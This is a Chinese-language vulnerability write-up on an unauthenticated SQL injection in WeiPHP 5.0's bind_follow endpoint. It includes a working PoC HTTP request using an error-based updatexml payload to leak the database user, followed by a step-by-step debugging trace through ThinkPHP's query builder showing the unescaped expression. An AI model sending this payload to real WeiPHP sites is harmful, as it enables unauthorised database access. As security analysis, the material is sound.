WeiPHP 5.0 sql注入漏洞bind_follow

type

Post

status

Published

date

Sep 5, 2022

slug

125

summary

代码调试分析漏洞

0 前言

WeiPHP5.0是一个开源，高效，简洁的移动应用系统，它实现一个后台同时管理和运营多个客户端。WeiPHP5以前的版本都是基于ThinkPHP3.2版本开发，5.0以后升级了ThinkPHP5的架构。

WeiPHP在5.0版本存在多个SQL注入漏洞，分配了CNVD编号，有一定的影响力，然而网上只流传着poc，没有相关的分析干货，基于学习探究的目的，笔者试着就其中一个SQL注入的漏洞进行分析。

漏洞来源：

WeiPHP5.0 SQL注入漏洞2_N0puple的博客-CSDN博客_weiphp

本文仅用于技术讨论与研究，文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响，本文作者概不负责。 WeiPHP5.0是在2019年停止更新的一个系统，漏洞挺多的，跟着复现分析一下，前面分析了一处由于拼接造成的注入，这里复现一下 WeiPHP5.0的另一个 SQL 注入漏洞 WeiPHP5.0 最新版可以据此下载 https://www.weiphp.cn/doc/download_source_installation.html 访问如下链接并抓包 post或者 get 都可以，这里开了调试模式，因此可以使用报错注入爆用户名爆数据库之前对于 thinkphp开发的系统很少去弄 SQL相关的分析，因为觉得 thinkphp 可能做得比较完美了，但经过这一次的分析，觉得还是很有开发的潜力。 http://wiki.peiqi.tech/wiki/cms/WeiPHP/WeiPHP5.0%20bind_follow%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html github 链接： https://github.com/N0puple/vulPOC 想要获取更多资讯，或者获取文中环境可以关注公众号 "安全漏洞复现"，回复 "漏洞环境"

https://blog.csdn.net/csdn_Pade/article/details/124620983

1 poc


POST /weiphp5/public/index.php/home/Index/bind_follow HTTP/1.1
Host: 192.168.249.128:81
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en;q=0.7,zh-HK;q=0.6,en-US;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

uid%5b0]=exp&uid[1]=)%20and%20updatexml%0a(1,concat(0x7e,/*!user*/(),0x7e),1)--+

2 分析

是一个免登录的前台sql，危害较大

先根据报错信息定位漏洞入口文件

进入/application/home/controller/Index.php

对thinkphp架构熟悉的话，可以知道 I 函数就是一个过滤输入的函数，先ctrl 跟进看看代码

来到 application/common.php

继续进入 input 函数

input 首先判断输入的数据是否以 ? 开头，是的话去掉 ? ,并将 $has 赋为 true

接着找数据中是否有 . ，有的话以 . 为界限分割数据

最后看看 has 函数， thinkphp/library/think/facade/Request.php

可见 I 函数对注入没什么过滤作用

接着进到 wp_where 函数

遍历 $map 数组，由于传入的只有两个值，这段代码会进入elseif

如果$value[0]=='exp' ，并且!is_object($value[1] ，进入Db::raw thinkphp/library/think/Db.php

注意到这是静态方法，Db.php有一个魔术方法__callStatic() ，其会在调用没有声明的静态方法时自动调用，作用和原型都类似于 __call() ，并且由于Db.php没有继承任何类，static::connect 在这里调用的是当前类的 connect 方法

打下断点发poc跟进

传入回调的 $method 和 $args

进入 connection 构造函数（\think\db\Query）

getConfig 返回数据库前缀

进入raw函数

进入raw函数所在的类 think\db\Expression

初始化处理传入值后，返回到 \think\db\Query::where

不断步入到 Index.php，进入 \think\db\Query::find

继续跟进 find() 函数（ \think\db\Connection::find ），查找单条记录的函数，分析查询表达式，最后生成查询sql语句

select 函数解析并格式化查询语句

跟进 select 函数，逐个跟进每个 parse 函数

顾名思义，parseTable 函数返回 table名，跟进前面几个函数都是返回一些格式化信息，跟到parseWhere 关键函数

接着到 \think\db\Builder::buildWhere ，遍历 $val 数组的值，传给 $value数组，这里的publicid是默认的

array_shift 函数的作用是删除数组中的第一个元素，并且返回被删除元素的值，这里的作用可以理解成把数组中的值逐个取出做sql解析

$filed 赋值为 publicid 后传入 parseWhereItem 函数

经过array_shift 函数后 $value 也就变成了 {"=", ""} ，$exp 被赋值为 =

接着进入 \think\db\Query::bind 函数

返回一个 name 值 ThinkBind_1_

\think\db\Builder::parseWhereItem 中赋值 :ThinkBind_1_

经过 \think\db\Builder::parseCompare 处理，最终 \think\db\Builder::parseWhereItem 返回 `publicid` = :ThinkBind_1_

到这里拿到sql语句前半段

接着返回到遍历数组的语句，继续传入 $val 的第二个键值对，也就是poc中post data传入的 uid[0]=exp&uid[1]=)%20and%20updatexml……

这里开始与前面的步骤一样，经过 array_shift 函数处理， $field 赋值为 uid ，并且数组变成 {"exp", think\db\Expression} ，后者即传入的恶意sql语句 ) and updatexml\n(1,concat(0x7e,/*!user*/(),0x7e),1)--

重复上面解析publicid的一系列函数处理，一步步将 think\db\Expression 的值解析出来，赋值给value

最终在 \think\db\Builder::parseExp 处拼接左右括号和 $key ，用 getValue 取值

而 getValue 函数直接返回 value 的值 (\think\db\Expression::getValue)，中间的函数并没有对传入的uid数组进行相关的字符过滤、转义或者检查等操作

value 闭合括号即产生了注入

与上文一样在\think\db\Builder::parseWhereItem 返回解析后的值

接着把两次处理后的值拼接起来

作为\think\db\Builder::parseWhere 的返回值，回到 select 函数完成后续的 parse 函数，再返回给前文的select语句

最终的 $sql 语句


SELECT * FROM `wp_user_follow` WHERE  `publicid` = :ThinkBind_1_  AND ( `uid` ) and updatexml\n(1,concat(0x7e,/*!user*/(),0x7e),1)--  ) LIMIT 1

然后执行查询 $sql

后面初始化、连接数据库等就不赘述了

到这里的堆栈


Connection.php:644, think\db\Connection->query()
Connection.php:844, think\db\Connection->find()
Query.php:3132, think\db\Query->find()
Index.php:161, app\home\controller\Index->bind_follow()
Container.php:395, ReflectionMethod->invokeArgs()
Container.php:395, think\Container->invokeReflectMethod()
Module.php:132, think\route\dispatch\Module->think\route\dispatch\{closure}()
Middleware.php:185, call_user_func_array:{C:\ALLHERE\phpstudy\phpstudy_pro\WWW\weiphp5\thinkphp\library\think\Middleware.php:185}()
Middleware.php:185, think\Middleware->think\{closure}()
Middleware.php:130, call_user_func:{C:\ALLHERE\phpstudy\phpstudy_pro\WWW\weiphp5\thinkphp\library\think\Middleware.php:130}()
Middleware.php:130, think\Middleware->dispatch()
Module.php:137, think\route\dispatch\Module->exec()
Dispatch.php:168, think\route\Dispatch->run()
App.php:432, think\App->think\{closure}()
Middleware.php:185, call_user_func_array:{C:\ALLHERE\phpstudy\phpstudy_pro\WWW\weiphp5\thinkphp\library\think\Middleware.php:185}()
Middleware.php:185, think\Middleware->think\{closure}()
Middleware.php:130, call_user_func:{C:\ALLHERE\phpstudy\phpstudy_pro\WWW\weiphp5\thinkphp\library\think\Middleware.php:130}()
Middleware.php:130, think\Middleware->dispatch()
App.php:435, think\App->run()
index.php:55, {main}()

3 利用情况

4 总结

看到poc的时候原本以为只是一个简单的未对用户输入进行过滤的SQL注入漏洞，一看代码才发现没那么简单。虽然一样是未过滤，但是形成原因有点复杂，涉及到了ThinkPHP框架原生的SQL操作类(Db.php等)以及其操作思路，debug过程很漫长，打了好多断点逐步找到关键函数，整个过程经过了很多的函数处理，文中省略了很多不关键的，一路F7十分考验耐心和细心，并且也借此机会多了解了一些ThinkPHP架构的代码思路。最终的闭合居然是在处理解析sql语句的过程中被闭合的，想必发现这个漏洞也一定是对thinkphp代码架构比较熟悉并且比较细心，总体来说，这次分析过程获益匪浅。